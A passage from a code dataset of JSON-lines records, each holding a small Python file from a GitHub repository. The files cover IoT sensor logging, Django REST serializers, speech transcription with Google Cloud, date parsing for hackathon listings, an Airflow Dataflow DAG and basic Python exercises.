695.0\n print(\"bmp280 Temperature: %0.1f°C\" % bmp280.temperature)\n TEMP_label.text = \"%0.1f°C\" % bmp280.temperature\n OUTDOOR_TEMP_label.text = outside_temp + \"°C\"\n OUTDOOR_HUM_label.text = outside_humidity + \".0%\"\n print(\"Pressure: %0.1f hPa\" % bmp280.pressure)\n PRES_label.text = \"%0.1fhPa\" % bmp280.pressure\n print(\"Altitude: %0.2f meters\" % bmp280.altitude)\n ALT_label.text = \"%0.2fm\" % bmp280.altitude\n \n # print(\"Calculated Sea Level Pressure: %0.1f hPa\" % bmp280.p0)\n print()\n print(\"Battery: %0.3f Volts / %0.1f %%\" % (batt.cell_voltage, batt.cell_percent))\n BATT_label.text = \"%0.1f%%\" % batt.cell_percent\n if scd4x.data_ready:\n print(\"\\nCO2: %d ppm\" % scd4x.CO2)\n print(\" scd4x Temperature: %0.1f°C\" % scd4x.temperature)\n print(\"Humidity: %0.1f %%\" % scd4x.relative_humidity)\n C02_label.text = str(scd4x.CO2)\n bbx, bby, bbwidth, bbh = C02_label.bounding_box\n # print(bbx, bby, bbwidth, bbh)\n C02_label.x = round(display.width / 2 - bbwidth)\n \n HUM_label.text = \"%0.1f%%\" % scd4x.relative_humidity\n \n # io.publish_multiple([('humidity', scd4x.relative_humidity), ('temperature', bmp280.temperature),('outside-humidity', outside_humidity), ('outside-temperature', outside_temp),('pressure', bmp280.pressure),('co2', scd4x.CO2)])\n \n #Handy MQTT only function io.send_multiple([('humidity', scd4x.relative_humidity), ('temperature', bmp280.temperature),('outside-humidity', outside_humidity), ('outside-temperature', outside_temp),('pressure', bmp280.pressure),('co2', scd4x.CO2)])\n\n io.send_data('temperature', bmp280.temperature, precision=1)\n time.sleep(3)\n io.send_data('humidity', scd4x.relative_humidity, precision=1)\n time.sleep(3)\n io.send_data('outside-temperature', outside_temp)\n time.sleep(3)\n io.send_data('outside-humidity', outside_humidity)\n time.sleep(3)\n io.send_data('pressure', bmp280.pressure, precision=1)\n time.sleep(3)\n io.send_data('co2', scd4x.CO2)\n print(\"Data sent!\")\n # Refresh the display to have it actually show the image\n # NOTE: Do not refresh eInk displays sooner than 180 seconds\n display.refresh()\n\n wifi.radio.enabled = False\n bmp280.mode = adafruit_bmp280.MODE_SLEEP\n time_alarm = alarm.time.TimeAlarm(monotonic_time=time.monotonic() + 3600)\n # Exit the program, and then deep sleep until the alarm wakes us.\n alarm.exit_and_deep_sleep_until_alarms(time_alarm)\n # Does not return, so we never get here.\n # time.sleep(300)","repo_name":"somenice/EnviroIOT","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":9925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32455894844","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('get-playlist-tracks/<str:id>', views.get_playlist_tracks, name=\"get_playlist_tracks\"),\n path('search-playlist/<str:query>', views.search_playlist, name=\"search_playlist\"),\n path('get-track-preview/<str:id>', views.track_preview, name=\"get_track_preview\"),\n path('create-session/', views.create_session, name=\"create_session\"),\n]\n","repo_name":"whateverdat/spotify_quiz_drf_vue","sub_path":"server/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13968108483","text":"import numpy as np\nimport pandas as pd\n\n\ndef str_to_array(s) -> np.ndarray:\n return np.array(list(map(int, s.split(\"|\"))))\n\n\ndef sort_by_interaction(row, lookup_series: pd.Series):\n impressions = str_to_array(row[\"impressions\"])\n user_session = row['user_id'] + row['session_id']\n if user_session not in lookup_series.index:\n recommendations = str(impressions).strip('[]')\n recommendations = \" \".join(recommendations.split())\n return recommendations\n interactions = lookup_series[user_session]\n recommendations = []\n # first add all interactions\n for i in interactions:\n if i != 'unknown' and int(i) in impressions and int(i) not in recommendations:\n recommendations.append(int(i))\n # add all other impressions left in order\n for impr in impressions:\n if impr not in recommendations:\n recommendations.append(impr)\n # list of recommendations to single string\n recommendations = str(recommendations).replace(\",\", \"\").strip('[]')\n return recommendations\n\n\ndef get_lookup_series(df_source: pd.DataFrame) -> pd.Series:\n df = df_source.copy()\n df['user_session'] = df['user_id'] + df['session_id']\n df_interacted = df[(df['action_type'] == 'interaction item image') | (\n df['action_type'] == 'search for item') | (\n df['action_type'] == 'interaction item rating') | (\n df['action_type'] == 'interaction item info') | (\n df['action_type'] == 'interaction item deals')]\n # reverse dataframe -> the later interactions are more important\n df_interacted = df_interacted.iloc[::-1]\n df_interacted = df_interacted[['user_session', 'reference']]\n interactions_lookup = df_interacted.groupby('user_session')['reference'].apply(list)\n return interactions_lookup\n\n\ndef calc_recommendation(df_train: pd.DataFrame, df_target: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Calculate recommendations based on interactions (latest one counts more)\n\n The final data frame will have an impression list sorted according to the interactions\n\n :param df_train: Data frame with training data\n :param df_target: Data frame with target\n :return: Data frame with sorted impression list according to interactions\n \"\"\"\n lookup_series = get_lookup_series(df_train)\n df_tc = df_target.copy()\n df_tc['item_recommendations'] = df_tc.apply(lambda x: sort_by_interaction(x, lookup_series), axis=1)\n df_out = df_tc[['user_id', 'session_id', 'timestamp', 'step', 'item_recommendations']]\n return df_out\n","repo_name":"PatrickRi/Rec_Sys","sub_path":"src/interactions/interactions.py","file_name":"interactions.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1004447033","text":"from rest_framework import serializers\nfrom rest_framework.relations import HyperlinkedIdentityField\nfrom .models import *\n\nclass TagSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Tag\n fields = ['id', 'title']\n\nclass TextSnippetSerializer(serializers.ModelSerializer):\n detail_url = HyperlinkedIdentityField(view_name='snippet_detail')\n\n class Meta:\n model = TextSnippet\n fields = ['id', 'title', 'timestamp','created_by', 'tag', 'detail_url']\n\n\n\nclass SnippetCreateSerializer(serializers.ModelSerializer):\n class Meta:\n model = TextSnippet\n fields = ['title', 'timestamp','created_by','tag']\n\n def create(self,validated_data):\n snippet = TextSnippet.objects.create(**validated_data)\n return snippet\n\n\nclass ChangeTextSnippetSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = TextSnippet\n fields = ['title', 'timestamp','created_by','tag']\n\n def update(self, validated_data, instance):\n\n try:\n title = validated_data.get('title')\n timestamp = validated_data.get('timestamp')\n created_by = validated_data.get('created_by')\n tag = validated_data.get('tag')\n\n if title:\n instance.title = title\n\n if timestamp:\n instance.timestamp = timestamp\n\n if created_by:\n instance.created_by = created_by\n\n if tag:\n instance.tag = tag\n\n instance.save()\n return instance\n except:\n return False\n\n\nclass TagCreateSerializer(serializers.ModelSerializer):\n class Meta:\n model = Tag\n fields = ['title']\n\n def create(self,validated_data):\n tag = Tag.objects.create(**validated_data)\n return tag","repo_name":"soorajparemal/snippetcreator","sub_path":"retriever/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42144733381","text":"import os\nimport io\nfrom google.cloud import speech\nimport wave\nfrom pydub import AudioSegment\nfrom tqdm import tqdm\nfrom google.cloud import storage\n\ntrain_path = os.path.relpath('../Data/train/')\ntest_path = os.path.relpath('../Data/test')\nvalidation_path = os.path.relpath('../Data/validation')\ntrain_write_path = os.path.relpath('../transcripts/train')\ntest_write_path = os.path.relpath('../transcripts/test')\nvalidation_write_path = os.path.relpath('../transcripts/validation')\nfailed_path = os.path.relpath('../failed.txt')\nsave_path = os.path.relpath('..')\nbucket_name = 'msc_research'\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]=\"/home/changhyun/workspace/ABI_research/config/config3.json\"\n\n\ndef main():\n train_long_files, train_short_files = find_long_audios(train_path)\n test_long_files, test_short_files = find_long_audios(test_path)\n validation_long_files, validation_short_files = find_long_audios(validation_path)\n\n print('Training files transcribing...')\n transcribe(train_path, train_write_path, train_long_files, train_short_files)\n print('Testing files transcribing...')\n transcribe(test_path, test_write_path, test_long_files, test_short_files)\n print('Validation files transcribing...')\n transcribe(validation_path, validation_write_path, validation_long_files, validation_short_files)\n\n\ndef transcribe(path, write_path, long_files, short_files):\n long_confidences = []\n short_confidences = []\n for file in long_files:\n file_name = os.path.join(path, file)\n transcript, confidence = long_transcribe(file_name)\n if confidence == 0:\n print(\"Failed to transcribe:\", file_name)\n fi = open(failed_path, \"a\")\n fi.write(file_name+'\\n')\n fi.close()\n\n long_confidences.append(confidence)\n new_path = os.path.join(write_path, file[0:21] + '.txt')\n write_transcripts(new_path, transcript)\n print(file[0:21], '.txt has been created')\n\n print('End of long files')\n for file in short_files:\n file_name = os.path.join(path, file)\n transcript, confidence = short_transcribe(file_name)\n if confidence == 0:\n print(\"Failed to transcribe:\", file_name)\n fi = open(failed_path, \"a\")\n fi.write(file_name + '\\n')\n fi.close()\n\n short_confidences.append(confidence)\n new_path = os.path.join(write_path, file[0:21] + '.txt')\n write_transcripts(new_path, transcript)\n print(file[0:21], '.txt has been created')\n\n print('Average confidences for long files:', mean(long_confidences))\n print('Average confidences for short files:', mean(short_confidences))\n\n\ndef long_transcribe(audio_file_name):\n # file_name = filepath + audio_file_name\n\n # The name of the audio file to transcribe\n\n frame_rate, channels = frame_rate_channel(audio_file_name)\n\n # source_file_name = filepath + audio_file_name\n destination_blob_name = audio_file_name\n\n upload_blob(bucket_name, audio_file_name, destination_blob_name)\n\n gcs_uri = 'gs://' + bucket_name + '/' + audio_file_name\n transcript = ''\n\n client = speech.SpeechClient()\n audio = speech.RecognitionAudio(uri=gcs_uri)\n value = False\n if channels > 1:\n value = True\n\n config = speech.RecognitionConfig(\n encoding=speech.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=frame_rate,\n audio_channel_count=channels,\n enable_separate_recognition_per_channel=value,\n language_code='en-US')\n\n # Detects speech in the audio file\n operation = client.long_running_recognize(config=config, audio=audio)\n response = operation.result(timeout=10000)\n confidence = []\n\n for result in response.results:\n transcript += result.alternatives[0].transcript\n confidence.append(result.alternatives[0].confidence)\n\n delete_blob(bucket_name, destination_blob_name)\n return transcript, mean(confidence)\n\n\ndef short_transcribe(audio_file_name):\n client = speech.SpeechClient()\n confidences = []\n transcript=''\n frame_rate, channels = frame_rate_channel(audio_file_name)\n value = False\n if channels > 1:\n value = True\n with io.open(audio_file_name, \"rb\") as audio_file:\n content = audio_file.read()\n audio = speech.RecognitionAudio(content=content)\n config = speech.RecognitionConfig(\n encoding=speech.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=frame_rate,\n audio_channel_count=channels,\n enable_separate_recognition_per_channel=value,\n language_code=\"en-US\",\n )\n try:\n response = client.recognize(config=config, audio=audio)\n except:\n print(audio_file_name)\n for result in response.results:\n transcript += result.alternatives[0].transcript\n confidences.append(result.alternatives[0].confidence)\n\n return transcript, mean(confidences)\n\n# The API does not support stereo audio files so that we need to check the audio files are mono\n# def check_if_files_mono():\n# sample = AudioSegment.from_wav(audio_path)\n# print(sample.channels)\n\n\ndef write_transcripts(transcript_filename,transcript):\n f= open(transcript_filename,\"w+\")\n f.write(transcript)\n f.close()\n\n\ndef frame_rate_channel(audio_file):\n with wave.open(audio_file, \"r\") as wf:\n frame_rate = wf.getframerate()\n channels = wf.getnchannels()\n return frame_rate, channels\n\n\ndef frame_rate_channel_freq(audio_path):\n frame_rates = {}\n channels = {}\n for file in os.listdir(audio_path):\n path = os.path.join(audio_path, file)\n with wave.open(path, \"r\") as wf:\n frame_rate = wf.getframerate()\n channel = wf.getnchannels()\n freq = frame_rates.get(frame_rate, \"None\")\n if freq == \"None\":\n frame_rates[frame_rate] = 1\n else:\n frame_rates[frame_rate] += 1\n freq = channels.get(channel, \"None\")\n if freq == \"None\":\n channels[channel] = 1\n else:\n channels[channel] += 1\n return frame_rates, channels\n\n\n# limit 60sec & 10MB\ndef find_long_audios(path):\n long_files = []\n short_files = []\n for file in os.listdir(path):\n file_path = os.path.join(path, file)\n size = byte_to_mb(os.path.getsize(file_path))\n if size > 10:\n long_files.append(file)\n continue\n\n with wave.open(file_path, \"r\") as wf:\n frame_rate = wf.getframerate()\n channel = wf.getnchannels()\n n_frames = wf.getnframes()\n duration = n_frames / float(frame_rate)\n if duration > 60:\n long_files.append(file)\n else:\n short_files.append(file)\n return long_files, short_files\n\n\ndef upload_blob(bucket_name, source_file_name, destination_blob_name):\n \"\"\"Uploads a file to the bucket.\"\"\"\n storage_client = storage.Client()\n bucket = storage_client.get_bucket(bucket_name)\n blob = bucket.blob(destination_blob_name)\n blob.upload_from_filename(source_file_name)\n\n\ndef delete_blob(bucket_name, blob_name):\n \"\"\"Deletes a blob from the bucket.\"\"\"\n storage_client = storage.Client()\n bucket = storage_client.get_bucket(bucket_name)\n blob = bucket.blob(blob_name)\n blob.delete()\n\n\ndef mean(li):\n if len(li) == 0:\n return 0\n return sum(li) / len(li)\n\n\ndef byte_to_mb(size):\n return size / 1024 / 1024\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"eddie8615/ABI_research","sub_path":"feature_extraction/transcribing.py","file_name":"transcribing.py","file_ext":"py","file_size_in_byte":7556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34886683068","text":"from SVO import find_svo\nwith open('./train.txt','r') as train_file:\n lines = train_file.readlines()\n\ndef process_line(sentence,category):\n vo = find_svo(sentence)\n if(len(vo)<2):\n new_sentence = sentence\n else:\n new_sentence = ' '.join(vo)\n new_sentence.strip()\n with open('train_svo','a+') as svo_file:\n svo_file.write(new_sentence + ',' + category + '\\n')\n\nfor line in lines:\n if(not lines.index(line)):\n with open('./train_svo','a+') as svo_file:\n svo_file.write(line)\n continue\n line = line.strip()\n line = line.lower()\n sentence,category = line.split(',')\n if('/' in sentence):\n #my fridge/refrigerators is broken\n sentence1,sentence2 = sentence.split('/')\n sentence1_new = sentence1 + ' ' + ' '.join(sentence2.split(' ')[1:])\n sentence2_new = ' '.join(sentence1.split(' ')[:-1]) + ' ' + sentence2\n process_line(sentence1_new,category)\n process_line(sentence2_new,category)\n else:\n process_line(sentence,category)\n \n","repo_name":"k-amin07/Category-Classifier","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7905571504","text":"from flask import request\nfrom tools import api_tools\nfrom pylon.core.tools import log\n\nfrom ...models.pd.prompts_pd import PredictPostModel\nfrom ...models.prompts import Prompt\nfrom ...utils.ai_providers import AIProvider\n\n\nfrom tools import db\n\nfrom pylon.core.tools import log\n\n\nclass ProjectAPI(api_tools.APIModeHandler):\n @api_tools.endpoint_metrics\n def post(self, project_id: int):\n payload = dict(request.json)\n ignore_template_error = payload.pop('ignore_template_error', False)\n update_prompt = payload.pop('update_prompt', False)\n payload['project_id'] = project_id\n try:\n data = PredictPostModel.parse_obj(payload)\n except Exception as e:\n log.error(\"************* data = PredictPostModel.parse_obj(payload)\")\n log.error(str(e))\n log.error(\"*************\")\n return {\"error\": str(e)}, 400\n model_settings = data.integration_settings.dict(exclude={'project_id'}, exclude_unset=True)\n\n if update_prompt:\n with db.with_project_schema_session(project_id) as session:\n session.query(Prompt).filter(Prompt.id == data.prompt_id).update(\n dict(\n model_settings=model_settings,\n test_input=data.input_,\n integration_uid=data.integration_uid\n )\n )\n session.commit()\n\n try:\n integration = AIProvider.get_integration(\n project_id=project_id,\n integration_uid=data.integration_uid,\n )\n prompt_struct = self.module.prepare_prompt_struct(\n project_id, data.prompt_id, data.input_,\n data.context, data.examples, data.variables,\n ignore_template_error=ignore_template_error\n )\n except Exception as e:\n log.error(\"************* AIProvider.get_integration and self.module.prepare_prompt_struct\")\n log.error(str(e))\n log.error(\"*************\")\n return str(e), 400\n\n result = AIProvider.predict(project_id, integration, model_settings, prompt_struct)\n if not result['ok']:\n log.error(\"************* if not result['ok']\")\n log.error(str(result['error']))\n log.error(\"*************\")\n return str(result['error']), 400\n\n if isinstance(result['response'], str):\n result['response'] = {'messages': [{'type': 'text', 'content': result['response']}]}\n return result['response'], 200\n\n# class AdminAPI(api_tools.APIModeHandler):\n# ...\n\n\nclass API(api_tools.APIBase):\n url_params = [\n '<string:mode>/<int:project_id>',\n '<int:project_id>',\n ]\n\n mode_handlers = {\n 'default': ProjectAPI,\n # 'administration': AdminAPI,\n }\n","repo_name":"RavshanovUsmonbek/prompts","sub_path":"api/v1/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"34510871244","text":"# Converts a year 'yy' and date tuple '(mm, dd)' to yy-mm-dd format by default\ndef dateTupleToString(year_string, dateTuple, date_format=\"%s-%s-%s\"):\n month, day = dateTuple\n month_string = numericDateToString(month)\n day_string = numericDateToString(day)\n return date_format % (year_string, month_string, day_string)\n\n\n# Converts numbers to to '00' format\ndef numericDateToString(num):\n if num < 10:\n return \"0%s\" % str(num)\n else:\n return str(num)\n\n\n# Converts an mlh date format i.e 'Jan 1st - 2nd', 'Jan 5th - Feb 9th', 'Dec 9th', etc.\n# to a tuple that represents start to end dates ((mm,dd), (mm,dd))\ndef convertToDateTuple(compoundDate):\n startDate = None\n endDate = None\n splitDates = compoundDate.split(\"-\")\n if len(splitDates) == 1:\n startDate = parseRawDate(splitDates[0].strip())\n if len(splitDates) > 1:\n startDate = parseRawDate(splitDates[0].strip())\n startDateMonth, _ = startDate\n endDate = parseRawDate(\n splitDates[1].strip(), startDateMonth=startDateMonth\n ) # noqa\n return (startDate, endDate)\n\n\n# Parses a single mlh date i.e 'Jan 1st', '5th' to a date tuple (mm, dd)\n# In the absence of an end date month, the start date month can be used\ndef parseRawDate(rawDate, startDateMonth=None):\n splitDate = rawDate.split(\" \")\n # Incorrect input date\n if len(splitDate) < 1:\n return (None, None)\n # No month specified for end date, so copy start date month\n if len(splitDate) < 2:\n rawDay = splitDate[0].strip()\n day = extractNumericDay(rawDay)\n return (startDateMonth, day)\n else:\n rawMonth = splitDate[0].strip()\n rawDay = splitDate[1].strip()\n month = extractNumericMonth(rawMonth)\n day = extractNumericDay(rawDay)\n return (month, day)\n\n\n# Converts a month code i.e 'Jan' to its numeric representation\ndef extractNumericMonth(rawMonth):\n monthRange = [\n \"Jan\",\n \"Feb\",\n \"Mar\",\n \"Apr\",\n \"May\",\n \"Jun\",\n \"Jul\",\n \"Aug\",\n \"Sep\",\n \"Oct\",\n \"Nov\",\n \"Dec\",\n ]\n monthCode = 1\n for month in monthRange:\n if rawMonth == month:\n return monthCode\n monthCode = monthCode + 1\n return monthCode\n\n\n# Converts an mlh day i.e '1st', '2nd', 3rd', '29th', etc. to its numeric representation\ndef extractNumericDay(rawDay):\n dayRange = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n # Day of month has max 2 characters\n maxLoopCount = 2\n loopCount = 0\n day = \"\"\n for character in rawDay:\n if character in dayRange:\n day += character\n loopCount += 1\n if loopCount == maxLoopCount:\n break\n if day == \"\":\n return None\n return int(day)\n\n\n# Calculates a numeric date score for a date tuple i.e (mm, dd)\n# Computed from month and day in the context of the same year\ndef computeDateScore(date):\n # Must be > 61 to offset high day range scores\n weightModifier = 62\n dateScore = 0\n if date is not None:\n month, day = date\n if month is not None:\n dateScore = dateScore + (month * weightModifier)\n if day is not None:\n dateScore = dateScore + day\n return dateScore\n\n\n# Compare function for sorting date tuples i.e ((mm, dd), (mm,dd))\ndef compareDateTuple(dateTuple):\n # Lower scores places it higher up in the sort\n # Only compare start date score in every pair\n startDate, endDate = dateTuple\n # TODO: If same start date, perform additional sort on end date\n # Currently, something like 'Jan 1st - Dec 9th' could appear just before 'Jan 1st - 2nd'\n # Requires custom sort function\n startDateScore = computeDateScore(startDate)\n return startDateScore\n\n\n# Alternate date score computation for date string formats i.e 'yy-mm-dd'\ndef computeDateScoreStringFormat(date, key=\"start\", month_day_indexes=[1, 2]):\n # Lower scores places it higher up in the sort\n date_split = date[key].split(\"-\")\n # Ignore year\n month = date_split[month_day_indexes[0]]\n day = date_split[month_day_indexes[1]]\n # Must be > 61 to offset high day range scores\n weight_modifier = 62\n return int(month * weight_modifier) + int(day)\n\n\n# Function to compare mlh events (hackathons) by date in ascending order\ndef compareEvents(event):\n date = event[\"date\"]\n score = computeDateScoreStringFormat(date)\n return score\n\n\n# Sort events by date (ascending by default)\ndef sortEvents(events, reverse=False):\n return sorted(events, key=lambda e: compareEvents(e), reverse=reverse)\n\n\n# Sort date tuples (ascending by default)\ndef sortDateTuples(date_tuples, reverse=False):\n return sorted(date_tuples, key=lambda d: compareDateTuple(d), reverse=reverse)\n","repo_name":"DucNgn/MLH-Hackathons-API","sub_path":"app/controller/date_parser.py","file_name":"date_parser.py","file_ext":"py","file_size_in_byte":4801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"69947078439","text":"#!/usr/bin/env python3\n\nfrom lxml import etree as ET\nimport sys\n\n\ninput_file = sys.argv [1]\nlocale = sys.argv [2]\noutput_file = sys.argv [3]\n\ntree = ET.parse(input_file)\nroot = tree.getroot()\n\nfor child in root.findall('channel'):\n if locale not in child.attrib.get('id'):\n root.remove(child)\n print(\"Removed Channel \" + child.attrib.get('id'))\nfor child in root.findall('programme'):\n if locale not in child.attrib.get('channel'):\n root.remove(child)\n print(\"Removed Programme \" + child.attrib.get('channel'))\ntree.write(output_file)","repo_name":"stone662/guide_slimmer","sub_path":"guide_slimmer.py","file_name":"guide_slimmer.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31994925005","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('rent', '0003_supply_date_change'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='supply',\n name='tariff',\n field=models.DecimalField(default=1, verbose_name='\\u0422\\u0430\\u0440\\u0438\\u0444', max_digits=6, decimal_places=3),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='supply',\n name='arrears',\n field=models.DecimalField(verbose_name='\\u0411\\u0430\\u043b\\u0430\\u043d\\u0441 \\u043d\\u0430 \\u0440\\u0430\\u0445\\u0443\\u043d\\u043a\\u0443', max_digits=6, decimal_places=2),\n ),\n ]\n","repo_name":"trivvet/payments","sub_path":"rent/migrations/0004_auto_20151001_1807.py","file_name":"0004_auto_20151001_1807.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20536791894","text":"from __future__ import annotations\n\nfrom datetime import datetime\n\nfrom airflow import models\nfrom airflow.providers.google.cloud.operators.dataflow import DataflowTemplatedJobStartOperator\nfrom airflow.providers.google.cloud.sensors.gcs import GCSObjectExistenceSensor\n\nDAG_ID = \"dataflow_template\"\n\nBUCKET_NAME = f\"alk-big-data-processing-w2\"\n\nFILE_NAME = \"pan-tadeusz.txt\"\nGCS_TMP = f\"gs://{BUCKET_NAME}/temp/\"\nGCS_STAGING = f\"gs://{BUCKET_NAME}/staging/\"\nGCS_OUTPUT = f\"gs://{BUCKET_NAME}/output\"\n\ndefault_args = {\n \"dataflow_default_options\": {\n \"tempLocation\": GCS_TMP,\n \"stagingLocation\": GCS_STAGING,\n }\n}\n\nwith models.DAG(\n DAG_ID,\n default_args=default_args,\n schedule_interval=\"@once\",\n start_date=datetime(2021, 1, 1),\n catchup=False,\n tags=[\"example\", \"dataflow\"],\n) as dag:\n gcs_object_exists = GCSObjectExistenceSensor(\n bucket=BUCKET_NAME,\n object=FILE_NAME,\n task_id=\"gcs_object_exists_task\",\n )\n\n start_template_job = DataflowTemplatedJobStartOperator(\n task_id=\"start_template_job\",\n project_id=\"{{ var.value.gcp_project }}\",\n template=\"gs://dataflow-templates/latest/Word_Count\",\n parameters={\"inputFile\": f\"gs://{BUCKET_NAME}/{FILE_NAME}\", \"output\": GCS_OUTPUT},\n location=\"{{ var.value.gce_region }}\",\n )\n\n gcs_object_exists >> start_template_job\n","repo_name":"13Kart/alk-big-data-processing","sub_path":"airflow/example_dataflow_template.py","file_name":"example_dataflow_template.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23611265531","text":"# Whitespace Formating\r\nfor i in [1,2,3,4,5]:\r\n print(i)\r\n for j in [1,2,3,4,5]:\r\n print(j)\r\n print(i+j)\r\n print(i)\r\nprint(\"done looping\")\r\n\r\nlist_of_list=[[1,2,3],\r\n [4,5,6],\r\n [7,8,9]]\r\n\r\nfrom collections import defaultdict, Counter\r\nlookup=defaultdict(int)\r\nmy_counter=Counter()\r\na=5//2\r\n\r\n# Functions\r\ndef double(x):\r\n return x*2\r\n\r\ndef apply_to_one(f):\r\n return f(1)\r\n\r\nmy_double=double\r\nx=apply_to_one(my_double)\r\ny=apply_to_one(lambda x:x+4)\r\n\r\n#Strings\r\nsingle_quoted_string='data science'\r\ndouble_quoted_string=\"data science\"\r\ntab_string=\"\\t\"\r\nprint(0/0)\r\n\r\n# List\r\ninteger_list=[1,2,3]\r\nheterogeneous_list=[\"string\",0.1,True]\r\nlist_of_list=[integer_list,heterogeneous_list,[]]\r\nlist_length=len(integer_list)\r\nlist_sum=sum(integer_list)\r\n\r\nprint(0 in [1,2,3])\r\nx,y,z=integer_list\r\n\r\n# Tuples\r\ndef sum_and_prod(x,y):\r\n return (x+y),(x*y)\r\nsp=sum_and_prod(2,3)\r\n\r\nx,y=1,2\r\nx,y=y,x\r\n\r\n# Dictionaries\r\nempty_dict={}\r\nempty_dict2=dict()\r\ngrades={\"Joel\":80,\"Tim\":95}\r\n\r\ntweet={\r\n \"user\":\"joelgrus\",\r\n \"text\":\"Data science is awesome\",\r\n \"retweet_count\":100,\r\n \"hashtags\":[\"#data\",\"#science\",\"#datascience\",\"#awesome\",\"#yolo\"]}\r\nprint(tweet.keys())\r\ntweet_values=list(tweet.values())\r\nprint(\"joelgrus\" in tweet.values())\r\n\r\n#Defaultdict\r\ndd_list=defaultdict(list)\r\ndd_list[2].append(1)\r\n\r\ndd_dict=defaultdict(dict)\r\ndd_dict[\"Joel\"][\"City\"]=\"Seattle\"\r\n\r\ndd_pair=defaultdict(lambda:[0,0])\r\ndd_pair[2][1]=1\r\n\r\n#Counter\r\nc=Counter([0,1,2,0])\r\n\r\n#Sets\r\na=set('abracadabra')\r\ns={1,2,3,4,2,1}\r\nprint(s)\r\naux=set()\r\naux.add(1)\r\naux.add(2)\r\naux.add(1)\r\nprint(len(aux))\r\nprint(aux)\r\nx={'a','b','c'}\r\nprint(x)\r\n\r\nitem_list=[1,2,3,1,2,3]\r\nnum_items=len(item_list)\r\nitem_set=list(set(item_list))\r\nprint(set(item_list))\r\n\r\n# Control Flow\r\nx=3\r\nparity=\"even\" if x % 2 == 0 else \"odd\"\r\n\r\nx=0\r\nwhile x<10:\r\n print(x, \"is less than 10\")\r\n x +=1\r\n\r\nfor x in range(10):\r\n if x==3:\r\n continue\r\n if x==5:\r\n break\r\n print(x)\r\n\r\n#Truthiness\r\nall([True,1,{3}])\r\nall([True,1,{}])\r\nany([True,1,{}])\r\nall([])\r\nany([])\r\n\r\n# Sorting\r\nx=[4,1,2,3]\r\ny=sorted(x)\r\nx.sort()\r\n\r\nx=sorted([-4,1,-2,3],key=abs,reverse=True)\r\n\r\n#List Comprehensions\r\neven_numbers=[x for x in range(5) if x%2 ==0]\r\nsquares=[x*x for x in range(5)]\r\neven_squares=[x*x for x in even_numbers]\r\n\r\nsquare_dict={x:x*x for x in range(5)}\r\nsquare_set={x*x for x in [1,-1]}\r\nprint(square_set)\r\n\r\npairs=[(x,y)\r\n for x in range(10)\r\n for y in range(5)]\r\naux=list(range(3,10))\r\nincreasing_pairs=[(x,y)\r\n for x in range(10)\r\n for y in range(x+1,10)]\r\n\r\n# Randomness\r\nimport random\r\nfour_uniform_randoms=[random.random() for _ in range(4)]\r\n\r\nup_to_ten=list(range(2,10))\r\nrandom.shuffle(up_to_ten)\r\nprint(up_to_ten)\r\n\r\nlottery_numbers=list(range(60))\r\nwinning_numbers=random.sample(lottery_numbers,6)\r\nfour_with_replacement=[random.choice(range(10))\r\n for _ in range(4)]\r\n\r\n#Functional tools\r\nfrom functools import partial\r\ndef double(x):\r\n return 2*x\r\n\r\nxs=[1,2,3,4]\r\ntwice_xs=[double(x) for x in xs]\r\ntwice_xs2=list(map(double,xs))\r\nlist_doubler=partial(map,double)\r\ntwice_xs3=list(list_doubler(xs))\r\n\r\ndef multiply(x,y): return x*y\r\nproducts=list(map(multiply,[1,2],[4,5]))\r\n\r\ndef is_even(x): return x%2==0\r\nx_evens=list(filter(is_even,xs))\r\nlist_evener=partial(filter,is_even)\r\nx_evens2=list(list_evener(xs))\r\n\r\n# Zip\r\nlist1=[\"a\",\"b\",\"c\"]\r\nlist2=[1,2,3]\r\na=list(zip(list1,list2))\r\nletters,numbers=zip(*a)\r\n","repo_name":"VictorPuglieseManotas/DataScience","sub_path":"DSS_Example_Chap02_01.py","file_name":"DSS_Example_Chap02_01.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3907357154","text":"from django.urls import include, 